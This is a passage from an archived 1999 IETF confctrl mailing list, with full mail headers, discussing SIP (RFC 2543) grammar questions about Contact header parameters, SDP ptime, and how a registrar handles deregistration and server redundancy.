What about a possible bug-list for RFC 2327 ?
Greetings
 Bernie







From confctrl-owner  Thu Aug 12 05:23:01 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA01804
	for confctrl-outgoing; Thu, 12 Aug 1999 05:23:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA01798
	for <confctrl@zephyr.isi.edu>; Thu, 12 Aug 1999 05:23:00 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA04942
	for <confctrl@ISI.EDU>; Thu, 12 Aug 1999 05:22:49 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id TAA20559;
	Thu, 12 Aug 1999 19:10:00 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 652567CB.0043D44C ; Thu, 12 Aug 1999 17:50:52 +0530
X-Lotus-FromDomain: HSSBLR
To: =?iso-8859-1?Q?Bernie_H=F6neisen?= <bhoeneis@cc.hut.fi>
cc: confctrl@ISI.EDU
Message-ID: <652567CB.0043AF06.00@sampark.hss.hns.com>
Date: Thu, 12 Aug 1999 17:50:48 +0530
Subject: Re: RFC 2543 / bug report
Mime-Version: 1.0
Content-type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id FAA01799
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Bernie,
The grammar seems fine to me.
Why do you feel the contact params must be outside the brackets ? They are
optional - which the grammar indicates

regds
Arjun




Bernie Höneisen <bhoeneis@cc.hut.fi> on 08/12/99 01:53:34 PM

To:   confctrl@ISI.EDU
cc:
Subject:  RFC 2543 / bug report



Content-type: text/plain; charsetÿ-ascii


Hi,
I am writing a paser for the SIP protocol and found some problem in
RFC 2543. There is a mismatch between the ABNF spec and the examples:
ABNF:
  Contact ÿ "Contact" | "m" ) ":"
             ("*" | (1# (( name-addr | addr-spec )
             [ *( ";" contact-params ) ] [ comment ] )))
>From the examples, that use contact-params:
Contact: <sip:watson@saturn.bell-tel.com:3890;transportýp>
Contact: <sip:alice@anywhere.com:5080;maddrÿare.caller.com>
These exemples don't follow the ABNF Spec. the contact-params should be
outside the brackets.
Is this an already known bug?
Is there a bug-list available for RFC 2543 ?
What about a possible bug-list for RFC 2327 ?
Greetings
 Bernie







From confctrl-owner  Thu Aug 12 05:30:10 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA02005
	for confctrl-outgoing; Thu, 12 Aug 1999 05:30:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA02000
	for <confctrl@zephyr.isi.edu>; Thu, 12 Aug 1999 05:30:07 -0700 (PDT)
Received: from smtp-out1.bellatlantic.net (smtp-out1.bellatlantic.net [199.45.39.156])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA05138
	for <confctrl@ISI.EDU>; Thu, 12 Aug 1999 05:30:06 -0700 (PDT)
Received: from cs.columbia.edu (client-151-198-123-205.bellatlantic.net [151.198.123.205])
	by smtp-out1.bellatlantic.net (8.9.1/8.9.1) with ESMTP id IAA26170;
	Thu, 12 Aug 1999 08:27:28 -0400 (EDT)
Message-ID: <37B127E1.BCA0E2CC@cs.columbia.edu>
Date: Wed, 11 Aug 1999 03:36:01 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: Sanchez Jorge <Jorge.Sanchez@ebc.ericsson.se>, confctrl@ISI.EDU
Subject: Re: ISUP tunneling
References: <199908101935.OAA25600@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> Henning, Jonathan, et al: is there a reason the Content-Encoding
> was marked as N/A on BYE and CANCEL? Could this be added to 2543
> when all the other bugfixes are put in?

Yes, that's one of the bug fixes to be included. I hope to have the
first post-2543 draft ready in a few weeks.



From confctrl-owner  Thu Aug 12 05:31:28 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA02042
	for confctrl-outgoing; Thu, 12 Aug 1999 05:31:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA02037
	for <confctrl@zephyr.isi.edu>; Thu, 12 Aug 1999 05:31:27 -0700 (PDT)
Received: from smtp-out2.bellatlantic.net (smtp-out2.bellatlantic.net [199.45.39.157])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA05194
	for <confctrl@ISI.EDU>; Thu, 12 Aug 1999 05:31:26 -0700 (PDT)
Received: from cs.columbia.edu (client-151-198-123-205.bellatlantic.net [151.198.123.205])
	by smtp-out2.bellatlantic.net (8.9.1/8.9.1) with ESMTP id IAA15192;
	Thu, 12 Aug 1999 08:35:29 -0400 (EDT)
Message-ID: <37B127E1.BCA0E2CC@cs.columbia.edu>
Date: Wed, 11 Aug 1999 03:36:01 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: Sanchez Jorge <Jorge.Sanchez@ebc.ericsson.se>, confctrl@ISI.EDU
Subject: Re: ISUP tunneling
References: <199908101935.OAA25600@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> Henning, Jonathan, et al: is there a reason the Content-Encoding
> was marked as N/A on BYE and CANCEL? Could this be added to 2543
> when all the other bugfixes are put in?

X-Mozilla-Status: 0009e bug fixes to be included. I hope to have the
first post-2543 draft ready in a few weeks.



From confctrl-owner  Thu Aug 12 06:42:23 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA04089
	for confctrl-outgoing; Thu, 12 Aug 1999 06:42:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA04084
	for <confctrl@zephyr.isi.edu>; Thu, 12 Aug 1999 06:42:22 -0700 (PDT)
Received: from tnint06.telogy.com (tnint06.telogy.com [209.116.120.7])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA07591
	for <confctrl@isi.edu>; Thu, 12 Aug 1999 06:42:21 -0700 (PDT)
Received: by argentina.telogy.com with Internet Mail Service (5.5.2448.0)
	id <PNGHX26X>; Thu, 12 Aug 1999 09:42:09 -0400
Message-ID: <61891BA043DED21180920090273F17380346F9@argentina.telogy.com>
From: Wing Man Kwok <wkwok@telogy.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: attrib "ptime" for RTP codings in SDP
Date: Thu, 12 Aug 1999 09:42:08 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

All,

On page 123 in the SIP spec RFC2543, section 16.3, there is an INVITE
example with an SDP message body as follows:

         v=0
         o=bell 53655765 2353687637 IN IP4 128.3.4.5
         s=Mr. Watson, come here.
         c=IN IP4 kton.bell-tel.com
         m=audio 3456 RTP/AVP 0 3 4 5

According to the "m=" line, this means that the sender can support RTP audio
coding 0, 3, 4 and 5.  The receiver may pick none, one or more of the
codings from the list.

My questions are:

1.  what is the value of the "ptime" (packet time) attribute of each coding
that the "m=" line implies?
2.  if each coding has a different ptime that the sender can support, how
should the sender specify the ptime value for each coding?

Regards,

Wing Man Kwok

From confctrl-owner  Thu Aug 12 07:06:46 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA04941
	for confctrl-outgoing; Thu, 12 Aug 1999 07:06:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA04935
	for <confctrl@zephyr.isi.edu>; Thu, 12 Aug 1999 07:06:44 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA08713
	for <confctrl@isi.edu>; Thu, 12 Aug 1999 07:06:43 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id JAA27562; Thu, 12 Aug 1999 09:11:15 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))  id 862567CB.004E499D ; Thu, 12 Aug 1999 09:15:06 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Jacek Grabiec" <Jacek_Grabiec@mw.3com.com>
To: Bernie H=?iso-8859-1?Q?=F6neisen?= <bhoeneis@cc.hut.fi>, confctrl@ISI.EDU
Message-ID: <862567CB.004E47C0.00@mwgate02.mw.3com.com>
Date: Thu, 12 Aug 1999 09:15:37 -0500
Subject: Re: RFC 2543 / bug report
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



On Thu, 12 Aug 1999 11:23:34 +0300 (EET DST), bhoeneis@cc.hut.fi
(=?ISO-8859-1?Q?Bernie_H=F6neisen?=) wrote:

>Hi,
>
>I am writing a paser for the SIP protocol and found some problem in
>RFC 2543. There is a mismatch between the ABNF spec and the examples:
>
>ABNF:
>
>  Contact = ( "Contact" | "m" ) ":"
>             ("*" | (1# (( name-addr | addr-spec )
>             [ *( ";" contact-params ) ] [ comment ] )))
>
>From the examples, that use contact-params:
>
>Contact: <sip:watson@saturn.bell-tel.com:3890;transport=udp>
>Contact: <sip:alice@anywhere.com:5080;maddr=spare.caller.com>
>
>These exemples don't follow the ABNF Spec. the contact-params should be
>outside the brackets.
>
>Is this an already known bug?
>Is there a bug-list available for RFC 2543 ?
>What about a possible bug-list for RFC 2327 ?
>
>Greetings
> Bernie
>
>
>
there's no bug, at least in that example. what you refer to as contact-params
(which should be outside brackets)
 transport=udp and maddr=spare.caller.com are url-parameters which go with
addr-spec
(that can be in turn SIP-uri or URI and then you read the grammar for SIP-URI)
regards, Jacek Grabiec



From confctrl-owner  Thu Aug 12 07:36:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA05835
	for confctrl-outgoing; Thu, 12 Aug 1999 07:36:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA05830
	for <confctrl@zephyr.isi.edu>; Thu, 12 Aug 1999 07:36:28 -0700 (PDT)
Received: from dirty.research.bell-labs.com (z3950.bell-labs.com [204.178.16.6] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA10109
	for <confctrl@isi.edu>; Thu, 12 Aug 1999 07:36:27 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu Aug 12 10:35:34 EDT 1999
Received: from dnrc.bell-labs.com ([135.17.253.6])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA13493;
	Thu, 12 Aug 1999 10:35:54 -0400 (EDT)
Message-ID: <37B2DC14.C5CE310B@dnrc.bell-labs.com>
Date: Thu, 12 Aug 1999 10:37:08 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Bernie =?iso-8859-1?Q?H=F6neisen?= <bhoeneis@cc.hut.fi>
CC: confctrl@ISI.EDU
Subject: Re: RFC 2543 / bug report
References: <Pine.OSF.4.10.9908121122510.21784-100000@beta.hut.fi>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

True, the contact parameters go outside the brackets. However, the
parameters in the example below are not Contact parameters. They are URI
parameters, and thus part of name-addr, which is why they are inside. An
example combining both:

Contact: "Mr. Smith"
<sip:mrsmith@company.com;transport=udp>;expires=3600

-Jonathan R.

Bernie Höneisen wrote:
> 
> Hi,
> 
> I am writing a paser for the SIP protocol and found some problem in
> RFC 2543. There is a mismatch between the ABNF spec and the examples:
> 
> ABNF:
> 
>   Contact = ( "Contact" | "m" ) ":"
>              ("*" | (1# (( name-addr | addr-spec )
>              [ *( ";" contact-params ) ] [ comment ] )))
> 
> >From the examples, that use contact-params:
> 
> Contact: <sip:watson@saturn.bell-tel.com:3890;transport=udp>
> Contact: <sip:alice@anywhere.com:5080;maddr=spare.caller.com>
> 
> These exemples don't follow the ABNF Spec. the contact-params should be
> outside the brackets.
> 
> Is this an already known bug?
> Is there a bug-list available for RFC 2543 ?
> What about a possible bug-list for RFC 2327 ?
> 
> Greetings
>  Bernie

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Aug 12 07:44:36 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA06058
	for confctrl-outgoing; Thu, 12 Aug 1999 07:44:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA06053
	for <confctrl@zephyr.isi.edu>; Thu, 12 Aug 1999 07:44:35 -0700 (PDT)
Received: from crufty.research.bell-labs.com (z3950.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA10668
	for <confctrl@isi.edu>; Thu, 12 Aug 1999 07:44:34 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by crufty; Thu Aug 12 10:42:48 EDT 1999
Received: from dnrc.bell-labs.com ([135.17.253.6])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA13910;
	Thu, 12 Aug 1999 10:43:16 -0400 (EDT)
Message-ID: <37B2DDCD.94897033@dnrc.bell-labs.com>
Date: Thu, 12 Aug 1999 10:44:29 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: archow@hss.hns.com
CC: confctrl@ISI.EDU,
        "Bernie =?iso-8859-1?Q?H=F6neisen?=" 
	<bhoeneis@cc.hut.fi>
Subject: Re: RFC 2543 / bug report
References: <652567CB.003AD1FA.00@sampark.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



archow@hss.hns.com wrote:
> 
> This brings me to point out that the enire grammar does not seem to be
> complete. When we were writing ours, we noticed quite a few tokens (I think
> one was delta-seconds and some others)

You're right about delta-seconds. Please share specific other instances
where its missing so it can be fixed.

 that did not have an expansion -
> although some of them were easily understandable . Also, if I remember
> correctly, things like telephone-subscriber etc dont feature on the right
> hand side of any production (the RFC mentions it as an example though, if i
> remember right)

Also correct. Interestingly, the point of the user parameter is to
indicate whether
the userinfo field is formatted according to telephone-subscriber. Can
lex support
things like that?

> 
> also for guys who are actually trying to use a lex tool, some hyperlinked
> version of the complete grammar would be of great help - I have a nearly
> complete linked version (some missing tokens which I did not find are not
> linked) - so if anyone wants it for ease of reference, feel free to take it
> from me :-) (altho it needs more work ;)

Great! Please send a pointer when its ready.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Aug 12 09:19:28 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA09189
	for confctrl-outgoing; Thu, 12 Aug 1999 09:19:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA09184
	for <confctrl@zephyr.isi.edu>; Thu, 12 Aug 1999 09:19:24 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17689
	for <confctrl@ISI.EDU>; Thu, 12 Aug 1999 09:19:22 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id LAA11557; Thu, 12 Aug 1999 11:23:54 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))  id 862567CB.005A6BA8 ; Thu, 12 Aug 1999 11:27:38 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>
To: confctrl@ISI.EDU
Message-ID: <862567CB.005A69B5.00@mwgate02.mw.3com.com>
Date: Thu, 12 Aug 1999 11:25:27 -0500
Subject: How does a Registrar inform UA about deregistration?
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




Take an implementation where the Proxy/Registrar in implemented in one box.

A UA registers with Proxy/Registrar and expects the Proxy/Registrar to forward
all calls to it that are intended for this UA.

Now the proxy/Registrar  wants to go under maintenance. How does the Proxy
inform the UA that it should register with some other server.

 To summarize , H323 has RRQ , SIP has REGISTER. What is the equivalent of URQ
in SIP ?

Anoop




From confctrl-owner  Thu Aug 12 10:07:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA10894
	for confctrl-outgoing; Thu, 12 Aug 1999 10:07:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA10889
	for <confctrl@zephyr.isi.edu>; Thu, 12 Aug 1999 10:07:36 -0700 (PDT)
Received: from mail1.cisco.com (mail1.cisco.com [171.68.225.60])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA24327
	for <confctrl@ISI.EDU>; Thu, 12 Aug 1999 10:07:36 -0700 (PDT)
Received: from glock (dallas-nt-103.cisco.com [171.68.37.103]) by mail1.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id KAA12981; Thu, 12 Aug 1999 10:06:28 -0700 (PDT)
Message-ID: <012801bee4e5$033fa920$672544ab@cisco.com>
From: "Stephen Sprunk" <ssprunk@cisco.com>
To: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>, <confctrl@ISI.EDU>
References: <862567CB.005A69B5.00@mwgate02.mw.3com.com>
Subject: Re: How does a Registrar inform UA about deregistration?
Date: Thu, 12 Aug 1999 12:02:22 -0500
Organization: Cisco Systems, Inc.
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

UA registers with sip.example.com.  sip.example.com now wants to go down for
maintenance.  You propose that the UA needs to register with another server.
However, the point of registration is that user@sip.example.com will work..
Now we say that the new URL is user@backup.example.com?  That breaks the
whole purpose of registration.

I would envision a setup where you have a redundant cluster of machines all
answering for sip.example.com, either via a L4 switch or via multiple SRV
records.  When a registration comes in to one server, that server would be
responsible for notifying all other servers about it (since they're all
authoritative) or updating the central database they all use (like a
high-availability SQL server cluster), depending on the implementation.
Then if you needed to do maintenance on any server, you either remove it
from the L4 switch or from the SRV record list, and it simply stops
receiving queries/registrations.  When it comes back up, it is responsible
for resynchronizing with the rest of the server cluster.

S


Stephen Sprunk, K5SSS, CCIE#3723
Network Consulting Engineer
Cisco NSA   Dallas, Texas, USA
e-mail:ssprunk@cisco.com
Pager: +1 800 365-4578
Empowering the Internet Generation


----- Original Message -----
From: Anoop Tripathi
To: confctrl@ISI.EDU
Sent: Thursday, August 12, 1999 11:25
Subject: How does a Registrar inform UA about deregistration?





Take an implementation where the Proxy/Registrar in implemented in one box.

A UA registers with Proxy/Registrar and expects the Proxy/Registrar to
forward
all calls to it that are intended for this UA.

Now the proxy/Registrar  wants to go under maintenance. How does the Proxy
inform the UA that it should register with some other server.

 To summarize , H323 has RRQ , SIP has REGISTER. What is the equivalent of
URQ
in SIP ?

Anoop


From confctrl-owner  Thu Aug 12 11:57:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA15253
	for confctrl-outgoing; Thu, 12 Aug 1999 11:57:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA15248
	for <confctrl@zephyr.isi.edu>; Thu, 12 Aug 1999 11:57:16 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA08253
	for <confctrl@ISI.EDU>; Thu, 12 Aug 1999 11:56:55 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id OAA26243; Thu, 12 Aug 1999 14:01:06 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))  id 862567CB.0068D21C ; Thu, 12 Aug 1999 14:04:55 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>
To: "Stephen Sprunk" <ssprunk@cisco.com>
cc: confctrl@ISI.EDU
Message-ID: <862567CB.0068D148.00@mwgate02.mw.3com.com>
Date: Thu, 12 Aug 1999 14:02:52 -0500
Subject: Re: How does a Registrar inform UA about deregistration?
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




 You are assuming a cluster of machines. What if I want to operate in a pure
primary Server and a pure Secondary Server ? I see a lot of value for that in
trunking GWs. e.g. A PSTN GW (UA) registers with a proxy server( assume no
redundancy). In case of proxy server going down for maintenance , the proxy
server sends an de-registration to the UA. The UA busies out its trunks becuase
it knows it cannot route the calls. The switch routes the calls over some other
available trunk. Meanwhile , the redundancy could be acheived by configuring on
the UA a secondary proxy server to contact ( or use multicast ). So the UA could
try contacting the alternate servers and on successful response from one of the
servers  come back online.

Also , does that mean since I don't have a de-registration message , I am forced
to implement using clustering. Now that I am clustering , it is almost
impossible for me to implement a stateful proxy.


Hence I think it would be nice to have this de-registration message.

Anoop




"Stephen Sprunk" <ssprunk@cisco.com> on 08/12/99 12:02:22 PM

Sent by:  "Stephen Sprunk" <ssprunk@cisco.com>


To:   Anoop Tripathi/MW/US/3Com, confctrl@ISI.EDU
cc:
Subject:  Re: How does a Registrar inform UA about deregistration?




UA registers with sip.example.com.  sip.example.com now wants to go down for
maintenance.  You propose that the UA needs to register with another server.
However, the point of registration is that user@sip.example.com will work..
Now we say that the new URL is user@backup.example.com?  That breaks the
whole purpose of registration.

I would envision a setup where you have a redundant cluster of machines all
answering for sip.example.com, either via a L4 switch or via multiple SRV
records.  When a registration comes in to one server, that server would be
responsible for notifying all other servers about it (since they're all
authoritative) or updating the central database they all use (like a
high-availability SQL server cluster), depending on the implementation.
Then if you needed to do maintenance on any server, you either remove it
from the L4 switch or from the SRV record list, and it simply stops
receiving queries/registrations.  When it comes back up, it is responsible
for resynchronizing with the rest of the server cluster.

S


Stephen Sprunk, K5SSS, CCIE#3723
Network Consulting Engineer
Cisco NSA   Dallas, Texas, USA
e-mail:ssprunk@cisco.com
Pager: +1 800 365-4578
Empowering the Internet Generation


----- Original Message -----
From: Anoop Tripathi
To: confctrl@ISI.EDU
Sent: Thursday, August 12, 1999 11:25
Subject: How does a Registrar inform UA about deregistration?





Take an implementation where the Proxy/Registrar in implemented in one box.

A UA registers with Proxy/Registrar and expects the Proxy/Registrar to
forward
all calls to it that are intended for this UA.

Now the proxy/Registrar  wants to go under maintenance. How does the Proxy
inform the UA that it should register with some other server.

 To summarize , H323 has RRQ , SIP has REGISTER. What is the equivalent of
URQ
in SIP ?

Anoop







From confctrl-owner  Thu Aug 12 17:10:39 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA27630
	for confctrl-outgoing; Thu, 12 Aug 1999 17:10:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA27625
	for <confctrl@zephyr.isi.edu>; Thu, 12 Aug 1999 17:10:38 -0700 (PDT)
Received: from mail1.cisco.com (mail1.cisco.com [171.68.225.60])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA09078
	for <confctrl@ISI.EDU>; Thu, 12 Aug 1999 17:10:37 -0700 (PDT)
Received: from glock (dallas-nt-103.cisco.com [171.68.37.103]) by mail1.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id QAA03511; Thu, 12 Aug 1999 16:35:08 -0700 (PDT)
Message-ID: <032a01bee51b$52f1ab40$672544ab@cisco.com>
From: "Stephen Sprunk" <ssprunk@cisco.com>
To: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>
Cc: <confctrl@ISI.EDU>
References: <862567CB.0068D148.00@mwgate02.mw.3com.com>
Subject: Re: How does a Registrar inform UA about deregistration?
Date: Thu, 12 Aug 1999 18:34:37 -0500
Organization: Cisco Systems, Inc.
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

A pure primary/secondary scenario is just an edge case of the SRV (ie
DNS-based) system I described.  When the primary is going to shut down, it
flushes its registrations/state to the secondary server, repoints the SRV
record, and redirects subsequent requests (due to cached DNS) to the
secondary.  After a safe period, you perform maintenance on the primary.

This prevents the UA from having to know anything about which server(s) are
up or down at any given time; just use DNS.

How else were you planning on dealing with active calls with your stateful
proxy?  Even if you could notify a UA that you were unregistering it, you
still have to stay up until all the active calls are completed, no?

S


Stephen Sprunk, K5SSS, CCIE#3723
Network Consulting Engineer
Cisco NSA   Dallas, Texas, USA
e-mail:ssprunk@cisco.com
Pager: +1 800 365-4578
Empowering the Internet Generation


----- Original Message -----
From: Anoop Tripathi
To: Stephen Sprunk
Cc: confctrl@ISI.EDU
Sent: Thursday, August 12, 1999 14:02
Subject: Re: How does a Registrar inform UA about deregistration?





 You are assuming a cluster of machines. What if I want to operate in a pure
primary Server and a pure Secondary Server ? I see a lot of value for that
in
trunking GWs. e.g. A PSTN GW (UA) registers with a proxy server( assume no
redundancy). In case of proxy server going down for maintenance , the proxy
server sends an de-registration to the UA. The UA busies out its trunks
becuase
it knows it cannot route the calls. The switch routes the calls over some
other
available trunk. Meanwhile , the redundancy could be acheived by configuring
on
the UA a secondary proxy server to contact ( or use multicast ). So the UA
could
try contacting the alternate servers and on successful response from one of
the
servers  come back online.

Also , does that mean since I don't have a de-registration message , I am
forced
to implement using clustering. Now that I am clustering , it is almost
impossible for me to implement a stateful proxy.


Hence I think it would be nice to have this de-registration message.

Anoop




"Stephen Sprunk" <ssprunk@cisco.com> on 08/12/99 12:02:22 PM

Sent by:  "Stephen Sprunk" <ssprunk@cisco.com>


To:   Anoop Tripathi/MW/US/3Com, confctrl@ISI.EDU
cc:
Subject:  Re: How does a Registrar inform UA about deregistration?




UA registers with sip.example.com.  sip.example.com now wants to go down for
maintenance.  You propose that the UA needs to register with another server.
However, the point of registration is that user@sip.example.com will work..
Now we say that the new URL is user@backup.example.com?  That breaks the
whole purpose of registration.

I would envision a setup where you have a redundant cluster of machines all
answering for sip.example.com, either via a L4 switch or via multiple SRV
records.  When a registration comes in to one server, that server would be
responsible for notifying all other servers about it (since they're all
authoritative) or updating the central database they all use (like a
high-availability SQL server cluster), depending on the implementation.
Then if you needed to do maintenance on any server, you either remove it
